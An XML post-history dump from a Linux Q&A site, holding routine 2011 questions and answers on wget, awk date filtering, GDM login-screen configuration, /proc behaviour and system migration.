  <row Id="19419" PostHistoryTypeId="2" PostId="8260" RevisionGUID="2c88addb-4f33-49ef-8ca0-3d4effa056e5" CreationDate="2011-02-26T18:39:15.670" UserId="1836" Text="i want to install scilab in suse 11.3. Which repository is it?, I cannot find it in package manager. I have tried to install the rpm manually but i cannot resolve the dependencies." />
  <row Id="19420" PostHistoryTypeId="1" PostId="8260" RevisionGUID="2c88addb-4f33-49ef-8ca0-3d4effa056e5" CreationDate="2011-02-26T18:39:15.670" UserId="1836" Text="install scilab in suse 11.3" />
  <row Id="19421" PostHistoryTypeId="3" PostId="8260" RevisionGUID="2c88addb-4f33-49ef-8ca0-3d4effa056e5" CreationDate="2011-02-26T18:39:15.670" UserId="1836" Text="éyumàéopensuseà" />
  <row Id="19422" PostHistoryTypeId="2" PostId="8261" RevisionGUID="48b81213-d7f7-40f2-9780-37e57cbbb1a1" CreationDate="2011-02-26T18:45:37.520" UserId="5152" Text="Hello,&#xD;&#xA;&#xD;&#xA;Lets say we have a website: www.example.com/&#xD;&#xA;&#xD;&#xA;with the following pages:&#xD;&#xA;&#xD;&#xA;www.example.com/page1&#xD;&#xA;&#xD;&#xA;www.example.com/unknown&#xD;&#xA;&#xD;&#xA;www.example.com/unknown&#xD;&#xA;&#xD;&#xA;Is there a Wget command that would produce the following output:&#xD;&#xA;&#xD;&#xA;page1&#xD;&#xA;&#xD;&#xA;page2&#xD;&#xA;&#xD;&#xA;page3&#xD;&#xA;&#xD;&#xA;How would this command change if the website structure was:&#xD;&#xA;&#xD;&#xA;www.example.com/xxxx/page1&#xD;&#xA;&#xD;&#xA;www.example.com/xxxx/page2&#xD;&#xA;&#xD;&#xA;www.example.com/xxxx/page3&#xD;&#xA;&#xD;&#xA;Essentially I have a server ip address and would like to be able to list all the pages held on the server, to see if there are any I am interested in to download.&#xD;&#xA;&#xD;&#xA;For instance I can do &quot;wget -r www.example.com/page1&quot; and I want to know if there are any other directories (page2, page3 - etc) that I might be interested in.&#xD;&#xA;&#xD;&#xA;I have researched the --spider command and others, but with no joy.&#xD;&#xA;&#xD;&#xA;Appreciate any help given&#xD;&#xA;&#xD;&#xA;Ed" />
  <row Id="19423" PostHistoryTypeId="1" PostId="8261" RevisionGUID="48b81213-d7f7-40f2-9780-37e57cbbb1a1" CreationDate="2011-02-26T18:45:37.520" UserId="5152" Text="Wget command that returns all webpages on a webserver" />
  <row Id="19424" PostHistoryTypeId="3" PostId="8261" RevisionGUID="48b81213-d7f7-40f2-9780-37e57cbbb1a1" CreationDate="2011-02-26T18:45:37.520" UserId="5152" Text="édirectoryàéwgetà" />
  <row Id="19425" PostHistoryTypeId="5" PostId="8261" RevisionGUID="4352425c-4a01-4682-9b0a-de6e3a186ba7" CreationDate="2011-02-26T19:01:10.083" UserId="885" Comment="formatting" Text="Let's say we have a website `www.example.com` with the following pages:&#xD;&#xA;&#xD;&#xA;    www.example.com/page1&#xD;&#xA;    www.example.com/unknown&#xD;&#xA;    www.example.com/unknown&#xD;&#xA;&#xD;&#xA;Is there a Wget command that would produce the following output:&#xD;&#xA;&#xD;&#xA;    page1&#xD;&#xA;    page2&#xD;&#xA;    page3&#xD;&#xA;&#xD;&#xA;How would this command change if the website structure was:&#xD;&#xA;&#xD;&#xA;    www.example.com/xxxx/page1&#xD;&#xA;    www.example.com/xxxx/page2&#xD;&#xA;    www.example.com/xxxx/page3&#xD;&#xA;&#xD;&#xA;Essentially I have a server ip address and would like to be able to list all the pages held on the server, to see if there are any I am interested in to download.&#xD;&#xA;&#xD;&#xA;For instance I can do `wget -r www.example.com/page1` and I want to know if there are any other directories (`page2`, `page3`, etc) that I might be interested in.&#xD;&#xA;&#xD;&#xA;I have researched the `--spider` option and others, but with no joy.&#xD;&#xA;" />
  <row Id="19426" PostHistoryTypeId="5" PostId="8233" RevisionGUID="b328c54e-399b-4ea7-aa5c-b993436619c2" CreationDate="2011-02-26T19:48:03.277" UserId="5133" Comment="added answer" Text="I'm currently adding a little bit of Git functionality to my menu.vim file, and for using a certain command (Gitk) I need to find out Vim's current directory.&#xD;&#xA;&#xD;&#xA;How does one do that and include it in a command? (i.e. `:!echo &quot;%current-directory&quot;`)&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;I'll admit here that I asked the wrong question - but I figured it out.&#xD;&#xA;&#xD;&#xA;I'm currently using these in my menu.vim:&#xD;&#xA;&#xD;&#xA;    function g:Gitk()&#xD;&#xA;      :!cd $(dirname %); gitk&#xD;&#xA;    endfun&#xD;&#xA;    &#xD;&#xA;    function g:GitGui()&#xD;&#xA;      :!cd $(dirname %); git gui&#xD;&#xA;    endfun" />
  <row Id="19427" PostHistoryTypeId="2" PostId="8262" RevisionGUID="cdeebd3e-90a8-4afa-9f83-1264666761ec" CreationDate="2011-02-26T20:04:49.810" UserId="1501" Text="This is not possible. There is no HTTP request method for that, a HTTP retrieve request gets always a particular URL as parameter." />
  <row Id="19428" PostHistoryTypeId="25" PostId="8261" RevisionGUID="0011f813-b333-43c8-b3da-1106a8254b91" CreationDate="2011-02-26T20:23:27.140" Comment="http://twitter.com/#!/StackUnix/status/41594210566160384" />
  <row Id="19429" PostHistoryTypeId="2" PostId="8263" RevisionGUID="601ac3c4-2f9f-470c-a07d-63b260e9de29" CreationDate="2011-02-26T20:37:05.930" UserId="5154" Text="You can tell wget to recursively download an entire website, but it does so by following the links on each page. If it doesn't know page1, page2 and page3 are there, it will never retrieve them.&#xD;&#xA;&#xD;&#xA;Put bluntly, HTTP does not work that way -- fortunately." />
  <row Id="19430" PostHistoryTypeId="2" PostId="8264" RevisionGUID="6735ea6a-9b51-4f0a-b50e-65184da88a5f" CreationDate="2011-02-26T20:56:17.320" UserId="2343" Text="This will do what you want...&#xD;&#xA;&#xD;&#xA;    # set Test args here&#xD;&#xA;    set  2011-02-24  2011-02-26  &quot;junk&quot;&#xD;&#xA;    from=&quot;$1&quot;&#xD;&#xA;    till=&quot;$2&quot;&#xD;&#xA;    file=&quot;$3&quot;&#xD;&#xA;    awk -v from=$from -v till=$till '&#xD;&#xA;        ($2 &gt;= from) &amp;&amp; ($2 &lt;= till) { print $0 }' &quot;$file&quot;&#xD;&#xA;&#xD;&#xA;It tests for a (sorted) date in field 2... Here is an example fo the test data &#xD;&#xA;&#xD;&#xA;        98	2011-02-05 xxxx&#xD;&#xA;        99	2011-02-05 xxxx&#xD;&#xA;       100	2011-02-06 xxxx&#xD;&#xA;       101	2011-02-06 xxxx&#xD;&#xA;&#xD;&#xA;And here is the test-data generator (if you want it)_&#xD;&#xA;&#xD;&#xA;    # BEGIN CREATE TEST DATA  ============ &#xD;&#xA;    # Create some dummy data.&#xD;&#xA;      [[ ! -d /tmp/$USER/ ]] &amp;&amp; mkdir -p /tmp/$USER/&#xD;&#xA;      file=/tmp/$USER/junk&#xD;&#xA;      [[ -f &quot;$file&quot;  ]] &amp;&amp; rm &quot;$file&quot; &#xD;&#xA;      (for i in {1..3} ; do&#xD;&#xA;        for date in 2011-{01..02}-{01..28} ; do echo $date xxxx; done&#xD;&#xA;      done) | sort | nl &gt;&gt;$file&#xD;&#xA;    # END CREATE TEST DATA  ============ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19431" PostHistoryTypeId="2" PostId="8265" RevisionGUID="34fad815-dc12-41f8-a007-ea971bd308da" CreationDate="2011-02-26T20:59:29.683" UserId="3519" Text="Like Rens and franziskus say, there is no way to do that from page1, the only chance will depend on how the website you want to copy is set-up.&#xD;&#xA;&#xD;&#xA;It is unlikely in the root directory, but sub-directories (providing you know they exist) may be configured in such a way that they give you a list of files (some sort of visual ftp). But you're up to exploiting what most webmasters are trying to hide away from you: the internals of their websites.&#xD;&#xA;&#xD;&#xA;I have successfully exploited this to get to information I was confident was there, but could not find in any way through website navigation. It only works with very few websites." />
  <row Id="19432" PostHistoryTypeId="2" PostId="8266" RevisionGUID="aab9a0fb-b4dd-43c6-bf88-aba569e6bc48" CreationDate="2011-02-26T21:13:12.247" UserId="2974" Text="You can't do this from the client end but you can look for a site-map, sometimes the http://www.example.com/robots.txt file might contain a list. There may be a way to ask Google for a list and there may be a last at the wayback machine." />
  <row Id="19433" PostHistoryTypeId="4" PostId="8261" RevisionGUID="92995c42-bae6-43d7-a3cf-e8dd739c699e" CreationDate="2011-02-26T21:19:07.443" UserId="2974" Comment="Change title to better reflect question" Text="Wget command that returns [a list of] all webpages on a webserver" />
  <row Id="19434" PostHistoryTypeId="24" PostId="8261" RevisionGUID="92995c42-bae6-43d7-a3cf-e8dd739c699e" CreationDate="2011-02-26T21:19:07.443" Comment="Proposed by 2974 approved by 73 edit id of 162" />
  <row Id="19435" PostHistoryTypeId="2" PostId="8267" RevisionGUID="b2b912f2-32a4-40fc-8da1-d1ac47940e26" CreationDate="2011-02-26T21:22:22.693" UserId="5156" Text="[diagramly][1] works on Linux.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.diagram.ly" />
  <row Id="19436" PostHistoryTypeId="5" PostId="8264" RevisionGUID="352892f7-3d54-4d19-945c-c3c429c44cb5" CreationDate="2011-02-26T21:28:24.047" UserId="2343" Comment="added 50 characters in body; deleted 10 characters in body; deleted 5 characters in body; added 7 characters in body" Text="This will do what you want...&#xD;&#xA;&#xD;&#xA;    # set Test args&#xD;&#xA;    set  2011-02-24  2011-02-26  &quot;junk&quot;&#xD;&#xA;    from=&quot;$1&quot;&#xD;&#xA;    till=&quot;$2&quot;&#xD;&#xA;    file=&quot;$3&quot;&#xD;&#xA;    awk -v from=$from -v till=$till '&#xD;&#xA;      ($2 &gt;= from) &amp;&amp; ($2 &lt;= till) { print $0 ; next }&#xD;&#xA;      ($2 &gt; till) { exit }' &quot;$file&quot;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;It tests for a (sorted) date in field 2... Here is an example fo the test data &#xD;&#xA;&#xD;&#xA;        98	2011-02-05 xxxx&#xD;&#xA;        99	2011-02-05 xxxx&#xD;&#xA;       100	2011-02-06 xxxx&#xD;&#xA;       101	2011-02-06 xxxx&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;And here is the test-data generator (if you want it)_&#xD;&#xA;&#xD;&#xA;    # BEGIN CREATE TEST DATA  ============ &#xD;&#xA;    # Create some dummy data.&#xD;&#xA;      [[ ! -d /tmp/$USER/ ]] &amp;&amp; mkdir -p /tmp/$USER/&#xD;&#xA;      file=/tmp/$USER/junk&#xD;&#xA;      [[ -f &quot;$file&quot;  ]] &amp;&amp; rm &quot;$file&quot; &#xD;&#xA;      (for i in {1..3} ; do&#xD;&#xA;        for date in 2011-{01..02}-{01..28} ; do echo $date xxxx; done&#xD;&#xA;      done) | sort | nl &gt;&gt;$file&#xD;&#xA;    # END CREATE TEST DATA  ============ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19437" PostHistoryTypeId="25" PostId="8239" RevisionGUID="6b407c5e-da89-4700-8e76-573fe4119a89" CreationDate="2011-02-26T23:23:29.670" Comment="http://twitter.com/#!/StackUnix/status/41639518838849536" />
  <row Id="19438" PostHistoryTypeId="2" PostId="8268" RevisionGUID="711f639e-baa6-4fd6-8137-790b6bb37be5" CreationDate="2011-02-26T23:30:14.097" UserId="391" Text="I recently installed Arch Linux and have it mostly set up. With many other Linux distributions, there is a tool that is used to configure the look and feel of the login screen. I would like to change the wallpaper used, the date/time format from something like &quot;Sat 6:27 PM&quot; to &quot;26 Feb 11 18:27&quot;, and the refresh rate of the monitor (it's fine when I'm logged in, but not at the login screen).&#xD;&#xA;&#xD;&#xA;Where can I find these configuration options or (preferably) a GNOME application to allow for me to make these configuration changes?" />
  <row Id="19439" PostHistoryTypeId="1" PostId="8268" RevisionGUID="711f639e-baa6-4fd6-8137-790b6bb37be5" CreationDate="2011-02-26T23:30:14.097" UserId="391" Text="How do I configure the GNOME gdm login screen?" />
  <row Id="19440" PostHistoryTypeId="3" PostId="8268" RevisionGUID="711f639e-baa6-4fd6-8137-790b6bb37be5" CreationDate="2011-02-26T23:30:14.097" UserId="391" Text="égnomeàéarchölinuxàéloginàégdmà" />
  <row Id="19441" PostHistoryTypeId="2" PostId="8269" RevisionGUID="5c8b1919-60e0-4fe7-9d1b-50e91aa7b231" CreationDate="2011-02-26T23:58:01.693" UserId="5158" Text="make sure your application folder is owned by wwwrun:www&#xD;&#xA;&#xD;&#xA;    sudo chown -R wwwrun:www /srv/www/htdocs/[yourfoldername]" />
  <row Id="19442" PostHistoryTypeId="2" PostId="8270" RevisionGUID="703ad170-86d4-40c5-86ac-8d4c8e90ab76" CreationDate="2011-02-27T00:06:14.847" UserId="3312" Text="I have a Palm Pre, and I've installed my webserver on it, it listens on port 8080. It works, when I open 192.168.1.104:8080 on the Pre's browser (that's the IP address of the device, I've failed with localhost or 127.0.0.1), it shows images, everything is OK.&#xD;&#xA;&#xD;&#xA;But I can't access the webserver from outside, e.g. from my desktop machine, it shows timeout. Is there a firewall on the Pre, or what's wrong? I can change server's port number, if necessary. I didn't configured the Pre, just installed SSH. Also, I can SSH to Pre, and from Pre to my desktop." />
  <row Id="19443" PostHistoryTypeId="1" PostId="8270" RevisionGUID="703ad170-86d4-40c5-86ac-8d4c8e90ab76" CreationDate="2011-02-27T00:06:14.847" UserId="3312" Text="How to access web server running on Palm Pre from another machine?" />
  <row Id="19444" PostHistoryTypeId="3" PostId="8270" RevisionGUID="703ad170-86d4-40c5-86ac-8d4c8e90ab76" CreationDate="2011-02-27T00:06:14.847" UserId="3312" Text="éwebserveràéwebosà" />
  <row Id="19445" PostHistoryTypeId="5" PostId="8264" RevisionGUID="26012071-69c4-48ef-9f57-8100ccbe4fa9" CreationDate="2011-02-27T01:06:25.450" UserId="2343" Comment="now shows both Inclusive" Text="This will do what you want...   &#xD;&#xA;Both Including and Excluding the parameter dates are shown.&#xD;&#xA; &#xD;&#xA;    # set Test args&#xD;&#xA;    set  2011-02-24  2011-02-26  &quot;junk&quot;&#xD;&#xA;&#xD;&#xA;    from=&quot;$1&quot;&#xD;&#xA;    till=&quot;$2&quot;&#xD;&#xA;    file=&quot;$3&quot;&#xD;&#xA;&#xD;&#xA;    # EITHER ====                              +++++++++  &#xD;&#xA;    # Ouptut lines between two parameter dates INCLUDING the parameter dates&#xD;&#xA;      awk -v from=$from -v till=$till '&#xD;&#xA;        ($2 &gt;= from) &amp;&amp; ($2 &lt;= till) { print $0 ; next }&#xD;&#xA;        ($2 &gt; till) { exit }' &quot;$file&quot;&#xD;&#xA;&#xD;&#xA;    # OR ========                              ---------&#xD;&#xA;    # Ouptut lines between two parameter dates EXCLUDING the parameter dates&#xD;&#xA;      awk -v from=$from -v till=$till '&#xD;&#xA;        ($2 &gt; from) &amp;&amp; ($2 &lt; till) { print $0 ; next }&#xD;&#xA;        ($2 &gt;= till) { exit }' &quot;$file&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;It tests for a (sorted) date in field 2... Here is an example fo the test data &#xD;&#xA;&#xD;&#xA;        98	2011-02-05 xxxx&#xD;&#xA;        99	2011-02-05 xxxx&#xD;&#xA;       100	2011-02-06 xxxx&#xD;&#xA;       101	2011-02-06 xxxx&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19446" PostHistoryTypeId="5" PostId="8264" RevisionGUID="486ac433-8f68-4c63-8c45-98250bd5cd79" CreationDate="2011-02-27T01:13:17.270" UserId="2343" Comment="added 72 characters in body" Text="This will do what you want...   &#xD;&#xA;Both Including and Excluding the parameter dates are shown.&#xD;&#xA; &#xD;&#xA;    # set Test args&#xD;&#xA;    set  2011-02-24  2011-02-26  &quot;junk&quot;&#xD;&#xA;&#xD;&#xA;    from=&quot;$1&quot;&#xD;&#xA;    till=&quot;$2&quot;&#xD;&#xA;    file=&quot;$3&quot;&#xD;&#xA;&#xD;&#xA;    # EITHER ====                              +++++++++  &#xD;&#xA;    # Ouptut lines between two parameter dates INCLUDING the parameter dates&#xD;&#xA;      awk -v from=$from -v till=$till '&#xD;&#xA;        ($2 &gt;= from) &amp;&amp; ($2 &lt;= till) { print $0 ; next }&#xD;&#xA;        ($2 &gt; till) { exit }' &quot;$file&quot;&#xD;&#xA;&#xD;&#xA;    # OR ========                              ---------&#xD;&#xA;    # Ouptut lines between two parameter dates EXCLUDING the parameter dates&#xD;&#xA;      awk -v from=$from -v till=$till '&#xD;&#xA;        ($2 &gt; from) &amp;&amp; ($2 &lt; till) { print $0 ; next }&#xD;&#xA;        ($2 &gt;= till) { exit }' &quot;$file&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;It tests for a (sorted) date in field 2... Here is an example fo the test data &#xD;&#xA;&#xD;&#xA;        98	2011-02-05 xxxx&#xD;&#xA;        99	2011-02-05 xxxx&#xD;&#xA;       100	2011-02-06 xxxx&#xD;&#xA;       101	2011-02-06 xxxx&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;And here is the [test-data generator](http://paste.ubuntu.com/572877/). " />
  <row Id="19447" PostHistoryTypeId="2" PostId="8271" RevisionGUID="0f987927-1852-4af1-804c-cb3504ab57e4" CreationDate="2011-02-27T02:07:01.910" UserId="2180" Text="The [ArchWiki][1] is a very good source of information. [This][2] is where I found the following:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; To configure the GDM theme use this&#xD;&#xA;&gt; command:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     sudo -u gdm dbus-launch&#xD;&#xA;&gt;     gnome-appearance-properties&#xD;&#xA;&gt; &#xD;&#xA;&gt; For more configuration options, use&#xD;&#xA;&gt; this command:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     sudo -u gdm dbus-launch gconf-editor&#xD;&#xA;&gt; &#xD;&#xA;&gt; And modify the following hierarchies:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     /apps/gdm/simple-greeter&#xD;&#xA;&gt;     /desktop/gnome/interface&#xD;&#xA;&gt;     /desktop/gnome/background&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Main_Page&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/GNOME" />
  <row Id="19448" PostHistoryTypeId="25" PostId="8268" RevisionGUID="467e7dce-501f-4cc4-9009-5f43c3983182" CreationDate="2011-02-27T02:23:29.777" Comment="http://twitter.com/#!/StackUnix/status/41684817770708992" />
  <row Id="19449" PostHistoryTypeId="5" PostId="8271" RevisionGUID="2ad9eea5-c6af-4fb4-bdd0-a40a6ba151e8" CreationDate="2011-02-27T02:49:06.613" UserId="2180" Comment="added 392 characters in body" Text="The [ArchWiki][1] is a very good source of information. [This][2] is where I found the following:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; To configure the GDM theme use this&#xD;&#xA;&gt; command:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     sudo -u gdm dbus-launch gnome-appearance-properties&#xD;&#xA;&gt; &#xD;&#xA;&gt; For more configuration options, use&#xD;&#xA;&gt; this command:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     sudo -u gdm dbus-launch gconf-editor&#xD;&#xA;&gt; &#xD;&#xA;&gt; And modify the following hierarchies:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     /apps/gdm/simple-greeter&#xD;&#xA;&gt;     /desktop/gnome/interface&#xD;&#xA;&gt;     /desktop/gnome/background&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You may end up with an Xauth error. If that happens, try gksudo instead. If the error persists, you can do this:&#xD;&#xA;&#xD;&#xA;    xauth list $DISPLAY&#xD;&#xA;&#xD;&#xA;This gives you the xauth cookie being used by your user. Copy the output, then run the following, replacing &quot;&lt;cookie&gt;&quot; with the output of the previous command.&#xD;&#xA;&#xD;&#xA;    sudo su -u gdm&#xD;&#xA;    xauth add &lt;cookie&gt;&#xD;&#xA;    dbus-launch gnome-appearance-properties&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Main_Page&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/GNOME" />
  <row Id="19450" PostHistoryTypeId="5" PostId="8271" RevisionGUID="acd384cb-a016-46ff-a628-7ab82e0cab40" CreationDate="2011-02-27T02:55:21.473" UserId="2180" Comment="added 132 characters in body; added 12 characters in body" Text="The [ArchWiki][1] is a very good source of information. [This][2] is where I found the following:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; To configure the GDM theme use this&#xD;&#xA;&gt; command:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     sudo -u gdm dbus-launch gnome-appearance-properties&#xD;&#xA;&gt; &#xD;&#xA;&gt; For more configuration options, use&#xD;&#xA;&gt; this command:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     sudo -u gdm dbus-launch gconf-editor&#xD;&#xA;&gt; &#xD;&#xA;&gt; And modify the following hierarchies:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     /apps/gdm/simple-greeter&#xD;&#xA;&gt;     /desktop/gnome/interface&#xD;&#xA;&gt;     /desktop/gnome/background&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You may end up with an Xauth error. If that happens, try `gksudo` instead of `sudo`. If the error persists, you can do this:&#xD;&#xA;&#xD;&#xA;    xauth list $DISPLAY&#xD;&#xA;&#xD;&#xA;This gives you the xauth cookie being used by your user. Copy the output, then run the following, replacing &quot;&lt;cookie&gt;&quot; with the output of the previous command.&#xD;&#xA;&#xD;&#xA;    sudo su -u gdm&#xD;&#xA;    xauth add &lt;cookie&gt;&#xD;&#xA;    dbus-launch gnome-appearance-properties&#xD;&#xA;&#xD;&#xA;This logs you in as the gdm user, adds the cookie, permitting gdm to use your display, and launches gnome-appearance-properties.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Main_Page&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/GNOME" />
  <row Id="19451" PostHistoryTypeId="2" PostId="8272" RevisionGUID="0acd39a9-a44c-4dce-a6bd-3d75c39e0057" CreationDate="2011-02-27T02:57:51.697" UserId="1676" Text="&#xD;&#xA;I normally use machine A, and I make backups of A onto a fileserver B.&#xD;&#xA;Sooner or later, I will lose machine A for one reason or another.&#xD;&#xA;Its hard drive wears out, or it gets hit by lightening, or some salesperson convinces me that it's an embarrassing piece of obsolete junk, or an overclocking experiment goes horribly wrong, or it suffers a &quot;glitter-related event&quot;, etc.&#xD;&#xA;&#xD;&#xA;Let's assume that computer C is totally different from computer A -- different mass storage interface, processor from a different company, different screen resolution, etc.&#xD;&#xA;&#xD;&#xA;Is there an easy way to make a list of all the software currently installed on A before disaster strikes, in a way that makes it easy to install the same software on the blank hard drives of computer C? Or better yet, makes it easy to install the latest versions of each piece of software, and the specific sub-version optimized for this particular machine C?&#xD;&#xA;&#xD;&#xA;If I have plenty of space on B, it seems easiest copy *everything* from A to B.&#xD;&#xA;If I do that, what is a good way of dividing the files I want to copy from B to C from the files I don't?&#xD;&#xA;I don't want to copy binary files I can easily re-download (and possibly re-compile) as needed, and probably wouldn't work on machine C anyway.&#xD;&#xA;Or is it better in the long run to try to avoid backing up such easily-obtained machine-specific binary files onto B in the first place?&#xD;&#xA;Is there a better way to reduce the chances that viruses and trojans get passed on to C and re-activated?&#xD;&#xA;&#xD;&#xA;When I customize software or write fresh new software, what is a good way to make sure the tweaks I have made get backed up and transferred to the new machine and installed? Such as cron and anacron tasks?&#xD;&#xA;&#xD;&#xA;What I can I do to make my transition to some new computer C safe and smooth?&#xD;&#xA;&#xD;&#xA;(This question expands on a sub-question of&#xD;&#xA;[&quot;Incremental system backup and restore w/ rsync or rdiff-backup issues&quot;][1] that I thought was particularly important).&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/8221/incremental-system-backup-and-restore-w-rsync-or-rdiff-backup-issues" />
  <row Id="19452" PostHistoryTypeId="1" PostId="8272" RevisionGUID="0acd39a9-a44c-4dce-a6bd-3d75c39e0057" CreationDate="2011-02-27T02:57:51.697" UserId="1676" Text="What I can I do to make the transition to some new computer hardware safe and smooth?" />
  <row Id="19453" PostHistoryTypeId="3" PostId="8272" RevisionGUID="0acd39a9-a44c-4dce-a6bd-3d75c39e0057" CreationDate="2011-02-27T02:57:51.697" UserId="1676" Text="éinstallàébackupàéconfigurationàéversionàéupgradeà" />
  <row Id="19454" PostHistoryTypeId="2" PostId="8273" RevisionGUID="f908d96e-b3c7-44fe-9320-d7e9f9e7bf1c" CreationDate="2011-02-27T03:54:49.003" UserId="2343" Text="I want to create a large test file with lines containg dates listed by the second, but my method is taking inordinately long... (or at least, that's how it feels :) ... 43 minutes to create only 1051201 lines. 20.1 MB file.... &#xD;&#xA;&#xD;&#xA;I want to crate a much bigger file, with each line's date being unique..  &#xD;&#xA;Is there a faster way than how I've approached it?:    &#xD;&#xA;&#xD;&#xA;    # # BEGIN CREATE TEST DATA  ============ &#xD;&#xA;    # # Create some dummy data.&#xD;&#xA;      file=/tmp/$USER/junk&#xD;&#xA;      ((secY2 =s3600*24*365*2))&#xD;&#xA;      cnt=0&#xD;&#xA;      secBeg=$(date --date=&quot;2010-01-01 00:00:00&quot; +%s)&#xD;&#xA;      secEnd=$((secBeg+secY2))&#xD;&#xA;      ((sec=secBeg))&#xD;&#xA;      while ((sec&lt;=secEnd)) ; do&#xD;&#xA;          date -d '1970-01-01 UTC '$sec' seconds' '+%Y-%m-%d %H:%M:%S' &gt;&gt;&quot;$file&quot; &#xD;&#xA;          ((sec+=1))&#xD;&#xA;          ((cnt+=1))&#xD;&#xA;      done&#xD;&#xA;      ls -l &quot;$file&quot;&#xD;&#xA;      echo Lines written: $cnt&#xD;&#xA;    # END CREATE TEST DATA  ============&#xD;&#xA;" />
  <row Id="19455" PostHistoryTypeId="1" PostId="8273" RevisionGUID="f908d96e-b3c7-44fe-9320-d7e9f9e7bf1c" CreationDate="2011-02-27T03:54:49.003" UserId="2343" Text="Fast way to build a test file with every second listed in YYYY-mm-dd HH:MM:SS format" />
  <row Id="19456" PostHistoryTypeId="3" PostId="8273" RevisionGUID="f908d96e-b3c7-44fe-9320-d7e9f9e7bf1c" CreationDate="2011-02-27T03:54:49.003" UserId="2343" Text="ébashàétextöprocessingàédateà" />
  <row Id="19457" PostHistoryTypeId="2" PostId="8274" RevisionGUID="fcee8bc5-2313-4eed-9684-9b4bbc414447" CreationDate="2011-02-27T04:21:46.407" UserId="3170" Text="Does the hard drive need to be accessed or is everything done in memory. Basically I would like to constantly get updated values from meminfo and cpuinfo.&#xD;&#xA;&#xD;&#xA;Do I need to reopen the file and then reread in order to get an updated value or can I just reread? I don't have access to a Linux install at the moment." />
  <row Id="19458" PostHistoryTypeId="1" PostId="8274" RevisionGUID="fcee8bc5-2313-4eed-9684-9b4bbc414447" CreationDate="2011-02-27T04:21:46.407" UserId="3170" Text="What happens when I open and read from /proc?" />
  <row Id="19459" PostHistoryTypeId="3" PostId="8274" RevisionGUID="fcee8bc5-2313-4eed-9684-9b4bbc414447" CreationDate="2011-02-27T04:21:46.407" UserId="3170" Text="éprocàésystemöcallsà" />
  <row Id="19460" PostHistoryTypeId="2" PostId="8275" RevisionGUID="1253a2fd-91c0-4a7a-997b-488b0c5149b7" CreationDate="2011-02-27T04:38:11.337" UserId="3032" Text="If you want something *really* (I mean really) tiny, check out [Linux From Scratch][1]. I've build over 6 system with it (custom servers), and it's amazingly small and fast (if you build it to be).&#xD;&#xA;&#xD;&#xA;The downside is that it takes a really long to build &amp; compile, but if you're up for it, go ahead. I warn you, though, that you have to configure *everything* in the system.&#xD;&#xA;&#xD;&#xA;One build for me takes 8 hours (unattended completely), so go and get a coffee (or 4) while you wait.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxfromscratch.org/" />
  <row Id="19461" PostHistoryTypeId="25" PostId="8270" RevisionGUID="99eb6cc7-3a8d-46ac-a25e-9b2a96bee17d" CreationDate="2011-02-27T05:23:29.393" Comment="http://twitter.com/#!/StackUnix/status/41730114630717441" />
  <row Id="19462" PostHistoryTypeId="2" PostId="8276" RevisionGUID="73b9152a-ba6e-48a0-8b4e-266b9e003386" CreationDate="2011-02-27T06:38:31.717" UserId="272" Text="The /proc filesystem is a so-called &quot;virtual filesystem&quot;, meaning that (afaiu) there is no spoon^H^H^Hdisk. &#xD;&#xA;&#xD;&#xA;I'm not quite sure how this works at the lowest level, so I may be wrong, but here goes. If I run&#xD;&#xA;&#xD;&#xA;    f = open('/proc/meminfo')&#xD;&#xA;    f.read()&#xD;&#xA;    f.seek(0)&#xD;&#xA;    f.read()&#xD;&#xA;&#xD;&#xA;I get two different outputs. Afaik, seek(0) only resets the read offset and it doesn't re-open the file. This suggests that re-reading a file is enough to get the new values.&#xD;&#xA;&#xD;&#xA;That said, if you are developing for Linux, getting permanent access to Linux box seems a pretty logical thing to do...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19463" PostHistoryTypeId="2" PostId="8277" RevisionGUID="978db6c1-2e83-44df-b44a-6c47d04f7c2c" CreationDate="2011-02-27T08:18:07.387" UserId="3082" Text="At least on my systems the default login provides a menu option to change the configuration from the login screen. &#xD;&#xA;&#xD;&#xA;But the monitor refresh is not controlled by GDM, that is an X server configuration, edited in the xorg.conf file." />
  <row Id="19464" PostHistoryTypeId="25" PostId="8274" RevisionGUID="76abfa3e-d988-4838-bf28-700a15ef6181" CreationDate="2011-02-27T08:23:29.433" Comment="http://twitter.com/#!/StackUnix/status/41775413193605120" />
